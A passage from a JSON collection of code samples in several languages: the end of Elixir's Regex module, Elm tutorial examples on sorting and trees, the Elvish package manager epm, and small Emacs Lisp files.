\"\"\"\n  Returns the regex source as a binary.\n  \"\"\"\n  @spec source(t) :: String.t()\n  def source(%Regex{source: source}) do\n    source\n  end\n\n  @doc \"\"\"\n  Returns the regex options as a string.\n  \"\"\"\n  @spec opts(t) :: String.t()\n  def opts(%Regex{opts: opts}) do\n    opts\n  end\n\n  @doc \"\"\"\n  Returns a list of names in the regex.\n  \"\"\"\n  @spec names(t) :: [String.t()]\n  def names(%Regex{re_pattern: compiled, re_version: version, source: source}) do\n    re_pattern =\n      case version() do\n        ^version ->\n          compiled\n\n        _ ->\n          {:ok, recompiled} = :re.compile(source)\n          recompiled\n      end\n\n    {:namelist, names} = :re.inspect(re_pattern, :namelist)\n    names\n  end\n\n  @doc ~S\"\"\"\n  Same as `run/3`, but scans the target several times collecting all\n  matches of the regular expression.\n  \"\"\"\n  @spec scan(t, String.t(), [term]) :: [[String.t()]]\n  def scan(regex, string, options \\\\ [])\n\n  def scan(%Regex{} = regex, string, options) when is_binary(string) do\n    return = Keyword.get(options, :return, :binary)\n    captures = Keyword.get(options, :capture, :all)\n    offset = Keyword.get(options, :offset, 0)\n    options = [{:capture, captures, return}, :global, {:offset, offset}]\n\n    case safe_run(regex, string, options) do\n      :match -> []\n      :nomatch -> []\n      {:match, results} -> results\n    end\n  end\n\n  defp safe_run(\n         %Regex{re_pattern: compiled, source: source, re_version: version, opts: compile_opts},\n         string,\n         options\n       ) do\n    case version() do\n      ^version -> :re.run(string, compiled, options)\n      _ -> :re.run(string, source, translate_options(compile_opts, options))\n    end\n  end\n\n  @doc \"\"\"\n  Splits the given target based on the given pattern and in the given number of\n  parts.\n  \"\"\"\n  @spec split(t, String.t(), [term]) :: [String.t()]\n  def split(regex, string, options \\\\ [])\n\n  def split(%Regex{}, \"\", opts) do\n    if Keyword.get(opts, :trim, false) do\n      []\n    else\n      [\"\"]\n    end\n  end\n\n  def split(%Regex{} = regex, string, opts)\n      when is_binary(string) and is_list(opts) do\n    on = Keyword.get(opts, :on, :first)\n\n    case safe_run(regex, string, [:global, capture: on]) do\n      {:match, matches} ->\n        index = parts_to_index(Keyword.get(opts, :parts, :infinity))\n        trim = Keyword.get(opts, :trim, false)\n        include_captures = Keyword.get(opts, :include_captures, false)\n        do_split(matches, string, 0, index, trim, include_captures)\n\n      :match ->\n        [string]\n\n      :nomatch ->\n        [string]\n    end\n  end\n\n  defp parts_to_index(:infinity), do: 0\n  defp parts_to_index(n) when is_integer(n) and n > 0, do: n\n\n  defp do_split(_, string, offset, _counter, true, _with_captures)\n       when byte_size(string) <= offset do\n    []\n  end\n\n  defp do_split(_, string, offset, 1, _trim, _with_captures),\n    do: [binary_part(string, offset, byte_size(string) - offset)]\n\n  defp do_split([], string, offset, _counter, _trim, _with_captures),\n    do: [binary_part(string, offset, byte_size(string) - offset)]\n\n  defp do_split([[{pos, _} | h] | t], string, offset, counter, trim, with_captures)\n       when pos - offset < 0 do\n    do_split([h | t], string, offset, counter, trim, with_captures)\n  end\n\n  defp do_split([[] | t], string, offset, counter, trim, with_captures),\n    do: do_split(t, string, offset, counter, trim, with_captures)\n\n  defp do_split([[{pos, length} | h] | t], string, offset, counter, trim, true) do\n    new_offset = pos + length\n    keep = pos - offset\n\n    <<_::binary-size(offset), part::binary-size(keep), match::binary-size(length), _::binary>> =\n      string\n\n    if keep == 0 and trim do\n      [match | do_split([h | t], string, new_offset, counter - 1, trim, true)]\n    else\n      [part, match | do_split([h | t], string, new_offset, counter - 1, trim, true)]\n    end\n  end\n\n  defp do_split([[{pos, length} | h] | t], string, offset, counter, trim, false) do\n    new_offset = pos + length\n    keep = pos - offset\n\n    if keep == 0 and trim do\n      do_split([h | t], string, new_offset, counter, trim, false)\n    else\n      <<_::binary-size(offset), part::binary-size(keep), _::binary>> = string\n      [part | do_split([h | t], string, new_offset, counter - 1, trim, false)]\n    end\n  end\n\n  @doc ~S\"\"\"\n  Receives a regex, a binary and a replacement, returns a new\n  binary where all matches are replaced by the replacement.\n  \"\"\"\n  @spec replace(t, String.t(), String.t() | (... -> String.t()), [term]) :: String.t()\n  def replace(%Regex{} = regex, string, replacement, options \\\\ [])\n      when is_binary(string) and is_list(options) do\n    opts = if Keyword.get(options, :global) != false, do: [:global], else: []\n    opts = [{:capture, :all, :index} | opts]\n\n    case safe_run(regex, string, opts) do\n      :nomatch ->\n        string\n\n      {:match, [mlist | t]} when is_list(mlist) ->\n        apply_list(string, precompile_replacement(replacement), [mlist | t])\n        |> IO.iodata_to_binary()\n\n      {:match, slist} ->\n        apply_list(string, precompile_replacement(replacement), [slist])\n        |> IO.iodata_to_binary()\n    end\n  end\n\n  defp precompile_replacement(replacement) when is_function(replacement) do\n    {:arity, arity} = Function.info(replacement, :arity)\n    {replacement, arity}\n  end\n\n  defp precompile_replacement(\"\"), do: []\n\n  defp precompile_replacement(<<?\\\\, ?g, ?{, rest::binary>>) when byte_size(rest) > 0 do\n    {ns, <<?}, rest::binary>>} = pick_int(rest)\n    [List.to_integer(ns) | precompile_replacement(rest)]\n  end\n\n  defp precompile_replacement(<<?\\\\, ?\\\\, rest::binary>>) do\n    [<<?\\\\>> | precompile_replacement(rest)]\n  end\n\n  defp precompile_replacement(<<?\\\\, x, rest::binary>>) when x in ?0..?9 do\n    {ns, rest} = pick_int(rest)\n    [List.to_integer([x | ns]) | precompile_replacement(rest)]\n  end\n\n  defp precompile_replacement(<<x, rest::binary>>) do\n    case precompile_replacement(rest) do\n      [head | t] when is_binary(head) ->\n        [<<x, head::binary>> | t]\n\n      other ->\n        [<<x>> | other]\n    end\n  end\n\n  defp pick_int(<<x, rest::binary>>) when x in ?0..?9 do\n    {found, rest} = pick_int(rest)\n    {[x | found], rest}\n  end\n\n  defp pick_int(bin) do\n    {[], bin}\n  end\n\n  defp apply_list(string, replacement, list) do\n    apply_list(string, string, 0, replacement, list)\n  end\n\n  defp apply_list(_, \"\", _, _, []) do\n    []\n  end\n\n  defp apply_list(_, string, _, _, []) do\n    string\n  end\n\n  defp apply_list(whole, string, pos, replacement, [[{mpos, _} | _] | _] = list)\n       when mpos > pos do\n    length = mpos - pos\n    <<untouched::binary-size(length), rest::binary>> = string\n    [untouched | apply_list(whole, rest, mpos, replacement, list)]\n  end\n\n  defp apply_list(whole, string, pos, replacement, [[{pos, length} | _] = head | tail]) do\n    <<_::size(length)-binary, rest::binary>> = string\n    new_data = apply_replace(whole, replacement, head)\n    [new_data | apply_list(whole, rest, pos + length, replacement, tail)]\n  end\n\n  defp apply_replace(string, {fun, arity}, indexes) do\n    apply(fun, get_indexes(string, indexes, arity))\n  end\n\n  defp apply_replace(_, [bin], _) when is_binary(bin) do\n    bin\n  end\n\n  defp apply_replace(string, repl, indexes) do\n    indexes = List.to_tuple(indexes)\n\n    for part <- repl do\n      cond do\n        is_binary(part) ->\n          part\n\n        part >= tuple_size(indexes) ->\n          \"\"\n\n        true ->\n          get_index(string, elem(indexes, part))\n      end\n    end\n  end\n\n  defp get_index(_string, {pos, _length}) when pos < 0 do\n    \"\"\n  end\n\n  defp get_index(string, {pos, length}) do\n    <<_::size(pos)-binary, res::size(length)-binary, _::binary>> = string\n    res\n  end\n\n  defp get_indexes(_string, _, 0) do\n    []\n  end\n\n  defp get_indexes(string, [], arity) do\n    [\"\" | get_indexes(string, [], arity - 1)]\n  end\n\n  defp get_indexes(string, [h | t], arity) do\n    [get_index(string, h) | get_indexes(string, t, arity - 1)]\n  end\n\n  @doc ~S\"\"\"\n  Escapes a string to be literally matched in a regex.\n  \"\"\"\n  @spec escape(String.t()) :: String.t()\n  def escape(string) when is_binary(string) do\n    string\n    |> escape(_length = 0, string)\n    |> IO.iodata_to_binary()\n  end\n\n  @escapable '.^$*+?()[]{}|#-\\\\\\t\\n\\v\\f\\r\\s'\n\n  defp escape(<<char, rest::binary>>, length, original) when char in @escapable do\n    escape_char(rest, length, original, char)\n  end\n\n  defp escape(<<_, rest::binary>>, length, original) do\n    escape(rest, length + 1, original)\n  end\n\n  defp escape(<<>>, _length, original) do\n    original\n  end\n\n  defp escape_char(<<rest::binary>>, 0, _original, char) do\n    [?\\\\, char | escape(rest, 0, rest)]\n  end\n\n  defp escape_char(<<rest::binary>>, length, original, char) do\n    [binary_part(original, 0, length), ?\\\\, char | escape(rest, 0, rest)]\n  end\n\n  # Helpers\n\n  @doc false\n  # Unescape map function used by Macro.unescape_string.\n  def unescape_map(?f), do: ?\\f\n  def unescape_map(?n), do: ?\\n\n  def unescape_map(?r), do: ?\\r\n  def unescape_map(?t), do: ?\\t\n  def unescape_map(?v), do: ?\\v\n  def unescape_map(?a), do: ?\\a\n  def unescape_map(_), do: false\n\n  # Private Helpers\n\n  defp translate_options(<<?u, t::binary>>, acc), do: translate_options(t, [:unicode, :ucp | acc])\n  defp translate_options(<<?i, t::binary>>, acc), do: translate_options(t, [:caseless | acc])\n  defp translate_options(<<?x, t::binary>>, acc), do: translate_options(t, [:extended | acc])\n  defp translate_options(<<?f, t::binary>>, acc), do: translate_options(t, [:firstline | acc])\n  defp translate_options(<<?U, t::binary>>, acc), do: translate_options(t, [:ungreedy | acc])\n\n  defp translate_options(<<?s, t::binary>>, acc),\n    do: translate_options(t, [:dotall, {:newline, :anycrlf} | acc])\n\n  defp translate_options(<<?m, t::binary>>, acc), do: translate_options(t, [:multiline | acc])\n\n  defp translate_options(<<?r, t::binary>>, acc) do\n    IO.warn(\"the /r modifier in regular expressions is deprecated, please use /U instead\")\n    translate_options(t, [:ungreedy | acc])\n  end\n\n  defp translate_options(<<>>, acc), do: acc\n  defp translate_options(rest, _acc), do: {:error, rest}\nend\n"
  },
  {
    "path": "samples/Elm/Basic.elm",
    "content": "\nimport List (intercalate,intersperse)\nimport Website.Skeleton\nimport Website.ColorScheme\n\naddFolder folder lst =\n  let add (x,y) = (x, folder ++ y ++ \".elm\") in\n  let f (n,xs) = (n, map add xs) in\n  map f lst\n\nelements = addFolder \"Elements/\"\n  [ (\"Primitives\",\n        [ (\"Text\"  , \"HelloWorld\")\n        , (\"Images\", \"Image\")\n        , (\"Fitted Images\", \"FittedImage\")\n        , (\"Videos\", \"Video\")\n        , (\"Markdown\", \"Markdown\")\n        ])\n  , (\"Formatting\",\n        [ (\"Size\"    , \"Size\")\n        , (\"Opacity\" , \"Opacity\")\n        , (\"Text\"    , \"Text\")\n        , (\"Typeface\", \"Typeface\")\n        ])\n  , (\"Layout\",\n        [ (\"Simple Flow\", \"FlowDown1a\")\n        , (\"Flow Down\"  , \"FlowDown2\")\n        , (\"Layers\"     , \"Layers\")\n        , (\"Positioning\", \"Position\")\n        , (\"Spacers\"    , \"Spacer\")\n        ])\n  , (\"Collage\", [ (\"Lines\"     , \"Lines\")\n                , (\"Shapes\"    , \"Shapes\")\n                , (\"Sprites\"   , \"Sprite\")\n                , (\"Elements\"  , \"ToForm\")\n                , (\"Colors\"    , \"Color\")\n                , (\"Textures\"  , \"Texture\")\n                , (\"Transforms\", \"Transforms\")\n                ])\n  ]\n\n\nfunctional = addFolder \"Functional/\"\n  [ (\"Recursion\",\n        [ (\"Factorial\"  , \"Factorial\")\n        , (\"List Length\", \"Length\")\n        , (\"Zip\"        , \"Zip\")\n        , (\"Quick Sort\" , \"QuickSort\")\n        ])\n  , (\"Functions\",\n        [ (\"Anonymous Functions\", \"Anonymous\")\n        , (\"Application\"        , \"Application\")\n        , (\"Composition\"        , \"Composition\")\n        , (\"Infix Operators\"    , \"Infix\")\n        ])\n  , (\"Higher-Order\",\n        [ (\"Map\"    , \"Map\")\n        , (\"Fold\"   , \"Sum\")\n        , (\"Filter\" , \"Filter\")\n        , (\"ZipWith\", \"ZipWith\")\n        ])\n  , (\"Data Types\",\n        [ (\"Maybe\", \"Maybe\")\n        , (\"Boolean Expressions\", \"BooleanExpressions\")\n        , (\"Tree\", \"Tree\")\n        ])\n  ]\n\nreactive = addFolder \"Reactive/\"\n  [ (\"Mouse\",  [ (\"Position\", \"Position\")\n               , (\"Presses\"    , \"IsDown\")\n               , (\"Clicks\"    , \"CountClicks\")\n               , (\"Position+Image\", \"ResizeYogi\")\n               , (\"Position+Collage\"    , \"Transforms\")\n               -- , (\"Hover\"     , \"IsAbove\")\n               ])\n  ,(\"Keyboard\",[ (\"Keys Down\"  , \"KeysDown\")\n               , (\"Key Presses\", \"CharPressed\")\n               ])\n  , (\"Window\", [ (\"Size\", \"ResizePaint\")\n               , (\"Centering\", \"Centering\")\n               ])\n  , (\"Time\",   [ (\"Before and After\", \"Between\")\n               , (\"Every\"           , \"Every\")\n               , (\"Clock\"           , \"Clock\")\n               ])\n  , (\"Input\",  [ (\"Text Fields\", \"TextField\")\n               , (\"Passwords\"  , \"Password\")\n               , (\"Check Boxes\", \"CheckBox\")\n               , (\"String Drop Down\", \"StringDropDown\")\n               , (\"Drop Down\", \"DropDown\")\n               ])\n  , (\"Random\", [ (\"Randomize\", \"Randomize\") ])\n  , (\"HTTP\",   [ (\"Zip Codes\", \"ZipCodes\") ])\n  , (\"Filters\",[ (\"Sample\", \"SampleOn\")\n               , (\"Keep If\", \"KeepIf\")\n               , (\"Drop Repeats\", \"DropRepeats\")\n               ])\n  ]\n\nexample (name, loc) = Text.link (\"/edit/examples/\" ++ loc) (toText name)\ntoLinks (title, links) =\n  flow right [ width 130 (text $ toText \"   \" ++ italic (toText title))\n             , text (intercalate (bold . Text.color accent4 $ toText \"  &middot;  \") $ map example links)\n             ]\n\ninsertSpace lst = case lst of { x:xs -> x : spacer 1 5 : xs ; [] -> [] }\n\nsubsection w (name,info) =\n  flow down . insertSpace . intersperse (spacer 1 1) . map (width w) $\n    (text . bold $ toText name) : map toLinks info\n\nwords = [markdown|\n\n### Basic Examples\n\nEach example listed below focuses on a single function or concept.\nThese examples demonstrate all of the basic building blocks of Elm.\n\n|]\n\ncontent w =\n  words : map (subsection w) [ (\"Display\",elements), (\"React\",reactive), (\"Compute\",functional) ]\n\nexampleSets w = flow down . map (width w) . intersperse (plainText \" \") $ content w\n\nmain = lift (skeleton exampleSets) Window.width\n"
  },
  {
    "path": "samples/Elm/QuickSort.elm",
    "content": "\nmain = asText (qsort [3,9,1,8,5,4,7])\n\nqsort lst =\n  case lst of\n    x:xs -> qsort (filter ((>=)x) xs) ++ [x] ++ qsort (filter ((<)x) xs)\n    [] -> []\n\n\n{---------------------\n\nQuickSort works as follows:\n - Choose a pivot element which be placed in the \"middle\" of the sorted list.\n   In our case we are choosing the first element as the pivot.\n - Gather all of the elements less than the pivot (the first filter).\n   We know that these must come before our pivot element in the sorted list.\n   Note: ((>=)x) === (\\y -> (>=) x y) === (\\y -> x >= y)\n - Gather all of the elements greater than the pivot (the second filter).\n   We know that these must come after our pivot element in the sorted list.\n - Run `qsort` on the lesser elements, producing a sorted list that contains\n   only elements less than the pivot. Put these before the pivot.\n - Run `qsort` on the greater elements, producing a sorted list. Put these\n   after the pivot.\n\nNote that choosing a bad pivot can have bad effects. Take a sorted list with\nN elements. The pivot will always be the lowest member, meaning that it does\nnot divide the list very evenly. The list of lessers has 0 elements\nand the list of greaters has N-1 elemens. This means qsort will be called\nN times, each call looking through the entire list. This means, in the worst\ncase, QuickSort will make N^2 comparisons.\n\n----------------------}\n"
  },
  {
    "path": "samples/Elm/Tree.elm",
    "content": "\n{-----------------------------------------------------------------\n\nOverview: A \"Tree\" represents a binary tree. A \"Node\" in a binary\ntree always has two children. A tree can also be \"Empty\". Below\nI have defined \"Tree\" and a number of useful functions.\n\nThis example also includes some challenge problems :)\n\n-----------------------------------------------------------------}\n\n\ndata Tree a = Node a (Tree a) (Tree a) | Empty\n\nempty = Empty\nsingleton v = Node v Empty Empty\n\ninsert x tree =\n  case tree of\n    Empty -> singleton x\n    Node y left right ->\n      if x == y then tree else\n      if x <  y then Node y (insert x left) right\n                else Node y left (insert x right)\n\nfromList xs = foldl insert empty xs\n\ndepth tree =\n  case tree of\n    Node v left right -> 1 + max (depth left) (depth right)\n    Empty -> 0\n\nmap f tree =\n  case tree of\n    Node v left right -> Node (f v) (map f left) (map f right)\n    Empty -> Empty\n\nt1 = fromList [1,2,3]\nt2 = fromList [2,1,3]\n\nmain = flow down [ display \"depth\" depth t1\n                 , display \"depth\" depth t2\n                 , display \"map ((+)1)\" (map ((+)1)) t2\n                 ]\n\ndisplay name f v =\n  text . monospace . toText $\n  concat [ show (f v), \" &lArr; \", name, \" \", show v ]\n\n{-----------------------------------------------------------------\n\nExercises:\n\n(1) Sum all of the elements of a tree.\n\n       sum :: Tree Number -> Number\n\n(2) Flatten a tree into a list.\n\n       flatten :: Tree a -> [a]\n\n(3) Check to see if an element is in a given tree.\n\n       isElement :: a -> Tree a -> Bool \n\n(4) Write a general fold function that acts on trees. The fold\n    function does not need to guarantee a particular order of\n    traversal.\n\n       fold :: (a -> b -> b) -> b -> Tree a -> b\n\n(5) Use \"fold\" to do exercises 1-3 in one line each. The best\n    readable versions I have come up have the following length\n    in characters including spaces and function name:\n      sum: 16\n      flatten: 21\n      isElement: 46\n    See if you can match or beat me! Don't forget about currying\n    and partial application!\n\n(6) Can \"fold\" be used to implement \"map\" or \"depth\"?\n\n(7) Try experimenting with different ways to traverse a\n    tree: pre-order, in-order, post-order, depth-first, etc.\n    More info at: http://en.wikipedia.org/wiki/Tree_traversal\n\n-----------------------------------------------------------------}\n\n\n\n\n"
  },
  {
    "path": "samples/Elvish/epm.elv",
    "content": "use re\nuse str\nuse platform\n\n# Verbosity configuration\nvar debug-mode = $false\n\n# Configuration for common domains\nvar -default-domain-config = [\n  &\"github.com\"= [\n    &method= git\n    &protocol= https\n    &levels= 2\n  ]\n  &\"bitbucket.org\"= [\n    &method= git\n    &protocol= https\n    &levels= 2\n  ]\n  &\"gitlab.com\"= [\n    &method= git\n    &protocol= https\n    &levels= 2\n  ]\n]\n\n#elvdoc:var managed-dir\n#\n# The path of the `epm`-managed directory.\n\nvar managed-dir = (\n  if $platform:is-windows {\n    put $E:LocalAppData/elvish/lib\n  } elif (not-eq $E:XDG_DATA_HOME '') {\n    put $E:XDG_DATA_HOME/elvish/lib\n  } else {\n    put ~/.local/share/elvish/lib\n  }\n)\n\n# General utility functions\n\nfn -debug {|text|\n  if $debug-mode {\n    print (styled '=> ' blue)\n    echo $text\n  }\n}\n\nfn -info {|text|\n  print (styled '=> ' green)\n  echo $text\n}\n\nfn -warn {|text|\n  print (styled '=> ' yellow)\n  echo $text\n}\n\nfn -error {|text|\n  print (styled '=> ' red)\n  echo $text\n}\n\nfn dest {|pkg|\n  put $managed-dir/$pkg\n}\n\n#elvdoc:fn is-installed\n#\n# ```elvish\n# epm:is-installed $pkg\n# ```\n#\n# Returns a boolean value indicating whether the given package is installed.\n\nfn is-installed {|pkg|\n  bool ?(test -e (dest $pkg))\n}\n\nfn -package-domain {|pkg|\n  str:split &max=2 / $pkg | take 1\n}\n\nfn -package-without-domain {|pkg|\n  str:split &max=2 / $pkg | drop 1 | str:join ''\n}\n\n# Merge two maps\nfn -merge {|a b|\n  keys $b | each {|k| set a[$k] = $b[$k] }\n  put $a\n}\n\n# Uppercase first letter of a string\nfn -first-upper {|s|\n  put (echo $s[0] | tr '[:lower:]' '[:upper:]')$s[(count $s[0]):]\n}\n\n# Expand tilde at the beginning of a string to the home dir\nfn -tilde-expand {|p|\n  re:replace \"^~\" $E:HOME $p\n}\n\n# Known method handlers. Each entry is indexed by method name (the\n# value of the \"method\" key in the domain configs), and must contain\n# two keys: install and upgrade, each one must be a closure that\n# receives two arguments: package name and the domain config entry\n#\n# - Method 'git' requires the key 'protocol' in the domain config,\n#   which has to be 'http' or 'https'\n# - Method 'rsync' requires the key 'location' in the domain config,\n#   which has to contain the directory where the domain files are\n#   stored. It can be any source location understood by the rsync\n#   command.\nvar -method-handler\nset -method-handler = [\n  &git= [\n    &src= {|pkg dom-cfg|\n      put $dom-cfg[protocol]\"://\"$pkg\n    }\n\n    &install= {|pkg dom-cfg|\n      var dest = (dest $pkg)\n      -info \"Installing \"$pkg\n      mkdir -p $dest\n      git clone ($-method-handler[git][src] $pkg $dom-cfg) $dest\n    }\n\n    &upgrade= {|pkg dom-cfg|\n      var dest = (dest $pkg)\n      -info \"Updating \"$pkg\n      try {\n        git -C $dest pull\n      } catch _ {\n          -error \"Something failed, please check error above and retry.\"\n      }\n    }\n  ]\n\n  &rsync= [\n    &src= {|pkg dom-cfg|\n      put (-tilde-expand $dom-cfg[location])/(-package-without-domain $pkg)/\n    }\n\n    &install= {|pkg dom-cfg|\n      var dest = (dest $pkg)\n      var pkgd = (-package-without-domain $pkg)\n      -info \"Installing \"$pkg\n      rsync -av ($-method-handler[rsync][src] $pkg $dom-cfg) $dest\n    }\n\n    &upgrade= {|pkg dom-cfg|\n      var dest = (dest $pkg)\n      var pkgd = (-package-without-domain $pkg)\n      if (not (is-installed $pkg)) {\n        -error \"Package \"$pkg\" is not installed.\"\n        return\n      }\n      -info \"Updating \"$pkg\n      rsync -av ($-method-handler[rsync][src] $pkg $dom-cfg) $dest\n    }\n  ]\n]\n\n# Return the filename of the domain config file for the given domain\n# (regardless of whether it exists)\nfn -domain-config-file {|dom|\n  put $managed-dir/$dom/epm-domain.cfg\n}\n\n# Return the filename of the metadata file for the given package\n# (regardless of whether it exists)\nfn -package-metadata-file {|pkg|\n  put (dest $pkg)/metadata.json\n}\n\nfn -write-domain-config {|dom|\n  var cfgfile = (-domain-config-file $dom)\n  mkdir -p (dirname $cfgfile)\n  if (has-key $-default-domain-config $dom) {\n    put $-default-domain-config[$dom] | to-json > $cfgfile\n  } else {\n    -error \"No default config exists for domain \"$dom\".\"\n  }\n}\n\n# Returns the domain config for a given domain parsed from JSON.\n# If the file does not exist but we have a built-in\n# definition, then we return the default. Otherwise we return $false,\n# so the result can always be checked with 'if'.\nfn -domain-config {|dom|\n  var cfgfile = (-domain-config-file $dom)\n  var cfg = $false\n  if ?(test -f $cfgfile) {\n    # If the config file exists, read it...\n    set cfg = (cat $cfgfile | from-json)\n    -debug \"Read domain config for \"$dom\": \"(to-string $cfg)\n  } else {\n    # ...otherwise check if we have a default config for the domain, and save it\n    if (has-key $-default-domain-config $dom) {\n      set cfg = $-default-domain-config[$dom]\n      -debug \"No existing config for \"$dom\", using the default: \"(to-string $cfg)\n    } else {\n      -debug \"No existing config for \"$dom\" and no default available.\"\n    }\n  }\n  put $cfg\n}\n\n\n# Return the method by which a package is installed\nfn -package-method {|pkg|\n  var dom = (-package-domain $pkg)\n  var cfg = (-domain-config $dom)\n  if $cfg {\n    put $cfg[method]\n  } else {\n    put $false\n  }\n}\n\n# Invoke package operations defined in $-method-handler above\nfn -package-op {|pkg what|\n  var dom = (-package-domain $pkg)\n  var cfg = (-domain-config $dom)\n  if $cfg {\n    var method = $cfg[method]\n    if (has-key $-method-handler $method) {\n      if (has-key $-method-handler[$method] $what) {\n        $-method-handler[$method][$what] $pkg $cfg\n      } else {\n        fail \"Unknown operation '\"$what\"' for package \"$pkg\n      }\n    } else {\n      fail \"Unknown method '\"$method\"', specified in in config file \"(-domain-config-file $dom)\n    }\n  } else {\n    -error \"No config for domain '\"$dom\"'.\"\n  }\n}\n\n# Uninstall a single package by removing its directory\nfn -uninstall-package {|pkg|\n  if (not (is-installed $pkg)) {\n    -error \"Package \"$pkg\" is not installed.\"\n    return\n  }\n  var dest = (dest $pkg)\n  -info \"Removing package \"$pkg\n  rm -rf $dest\n}\n\n######################################################################\n# Main user-facing functions\n\n#elvdoc:fn metadata\n#\n# ```elvish\n# epm:metadata $pkg\n# ```\n#\n# Returns a hash containing the metadata for the given package. Metadata for a\n# package includes the following base attributes:\n#\n# -   `name`: name of the package\n# -   `installed`: a boolean indicating whether the package is currently installed\n# -   `method`: method by which it was installed (`git` or `rsync`)\n# -   `src`: source URL of the package\n# -   `dst`: where the package is (or would be) installed. Note that this\n#     attribute is returned even if `installed` is `$false`.\n#\n# Additionally, packages can define arbitrary metadata attributes in a file called\n# `metadata.json` in their top directory. The following attributes are\n# recommended:\n#\n# -   `description`: a human-readable description of the package\n# -   `maintainers`: an array containing the package maintainers, in\n#     `Name <email>` format.\n# -   `homepage`: URL of the homepage for the package, if it has one.\n# -   `dependencies`: an array listing dependencies of the current package. Any\n#     packages listed will be installed automatically by `epm:install` if they are\n#     not yet installed.\n\n# Read and parse the package metadata, if it exists\nfn metadata {|pkg|\n  # Base metadata attributes\n  var res = [\n    &name= $pkg\n    &method= (-package-method $pkg)\n    &src= (-package-op $pkg src)\n    &dst= (dest $pkg)\n    &installed= (is-installed $pkg)\n  ]\n  # Merge with package-specified attributes, if any\n  var file = (-package-metadata-file $pkg)\n  if (and (is-installed $pkg) ?(test -f $file)) {\n    set res = (-merge (cat $file | from-json) $res)\n  }\n  put $res\n}\n\n#elvdoc:fn query\n#\n# ```elvish\n# epm:query $pkg\n# ```\n#\n# Pretty print the available metadata of the given package.\n\n# Print out information about a package\nfn query {|pkg|\n  var data = (metadata $pkg)\n  var special-keys = [name method installed src dst]\n  echo (styled \"Package \"$data[name] cyan)\n  if $data[installed] {\n    echo (styled \"Installed at \"$data[dst] green)\n  } else {\n    echo (styled \"Not installed\" red)\n  }\n  echo (styled \"Source:\" blue) $data[method] $data[src]\n  keys $data | each {|key|\n    if (not (has-value $special-keys $key)) {\n      var val = $data[$key]\n      if (eq (kind-of $val) list) {\n        set val = (str:join \", \" $val)\n      }\n      echo (styled (-first-upper $key)\":\" blue) $val\n    }\n  }\n}\n\n#elvdoc:fn installed\n#\n# ```elvish\n# epm:installed\n# ```\n#\n# Return an array with all installed packages. `epm:list` can be used as an alias\n# for `epm:installed`.\n\n# List installed packages\nfn installed {\n  put $managed-dir/*[nomatch-ok] | each {|dir|\n    var dom = (str:replace $managed-dir/ '' $dir)\n    var cfg = (-domain-config $dom)\n    # Only list domains for which we know the config, so that the user\n    # can have his own non-package directories under ~/.elvish/lib\n    # without conflicts.\n    if $cfg {\n      var lvl = $cfg[levels]\n      var pat = '^\\Q'$managed-dir'/\\E('(repeat (+ $lvl 1) '[^/]+' | str:join '/')')/$'\n      put (each {|d| re:find $pat $d } [ $managed-dir/$dom/**[nomatch-ok]/ ] )[groups][1][text]\n    }\n  }\n}\n\n# epm:list is an alias for epm:installed\nfn list { installed }\n\n#elvdoc:fn install\n#\n# ```elvish\n# epm:install &silent-if-installed=$false $pkg...\n# ```\n#\n# Install the named packages. By default, if a package is already installed, a\n# message will be shown. This can be disabled by passing\n# `&silent-if-installed=$true`, so that already-installed packages are silently\n# ignored.\n\n# Install and upgrade are method-specific, so we call the\n# corresponding functions using -package-op\nfn install {|&silent-if-installed=$false @pkgs|\n  if (eq $pkgs []) {\n    -error \"You must specify at least one package.\"\n    return\n  }\n  for pkg $pkgs {\n    if (is-installed $pkg) {\n      if (not $silent-if-installed) {\n        -info \"Package \"$pkg\" is already installed.\"\n      }\n    } else {\n      -package-op $pkg install\n      # Check if there are any dependencies to install\n      var metadata = (metadata $pkg)\n      if (has-key $metadata dependencies) {\n        var deps = $metadata[dependencies]\n        -info \"Installing dependencies: \"(str:join \" \" $deps)\n        # If the installation of dependencies fails, uninstall the\n        # target package (leave any already-installed dependencies in\n        # place)\n        try {\n          install $@deps\n        } catch e {\n          -error \"Dependency installation failed. Uninstalling \"$pkg\", please check the errors above and try again.\"\n          -uninstall-package $pkg\n        }\n      }\n    }\n  }\n}\n\n#elvdoc:fn upgrade\n#\n# ```elvish\n# epm:upgrade $pkg...\n# ```\n#\n# Upgrade named packages. If no package name is given, upgrade all installed\n# packages.\n\nfn upgrade {|@pkgs|\n  if (eq $pkgs []) {\n    set pkgs = [(installed)]\n    -info 'Upgrading all installed packages'\n  }\n  for pkg $pkgs {\n    if (not (is-installed $pkg)) {\n      -error \"Package \"$pkg\" is not installed.\"\n    } else {\n      -package-op $pkg upgrade\n    }\n  }\n}\n\n#elvdoc:fn uninstall\n#\n# ```elvish\n# epm:uninstall $pkg...\n# ```\n#\n# Uninstall named packages.\n\n# Uninstall is the same for everyone, just remove the directory\nfn uninstall {|@pkgs|\n  if (eq $pkgs []) {\n    -error 'You must specify at least one package.'\n    return\n  }\n  for pkg $pkgs {\n    -uninstall-package $pkg\n  }\n}\n"
  },
  {
    "path": "samples/Emacs Lisp/.emacs.desktop",
    "content": ";; -*- mode: emacs-lisp; coding: emacs-mule; -*-\n;; --------------------------------------------------------------------------\n;; Desktop File for Emacs\n;; --------------------------------------------------------------------------\n;; Created Sat Jan  3 12:46:35 2015\n;; Desktop file format version 206\n;; Emacs version 24.3.1\n\n;; Global section:\n(setq desktop-missing-file-warning nil)\n(setq tags-file-name nil)\n(setq tags-table-list nil)\n(setq search-ring nil)\n(setq regexp-search-ring nil)\n(setq register-alist nil)\n(setq file-name-history nil)\n\n;; Buffer section -- buffers listed in same order as in buffer list:\n(desktop-create-buffer 206\n  \"/home/foo/bar\"\n  \"bar\"\n  'fundamental-mode\n  nil\n  11572\n  '(11554 nil)\n  nil\n  nil\n  '((buffer-file-coding-system . undecided-unix)))\n\n"
  },
  {
    "path": "samples/Emacs Lisp/dude.el",
    "content": "(print \"Dude!\")\n"
  },
  {
    "path": "samples/Emacs Lisp/ess-julia.el",
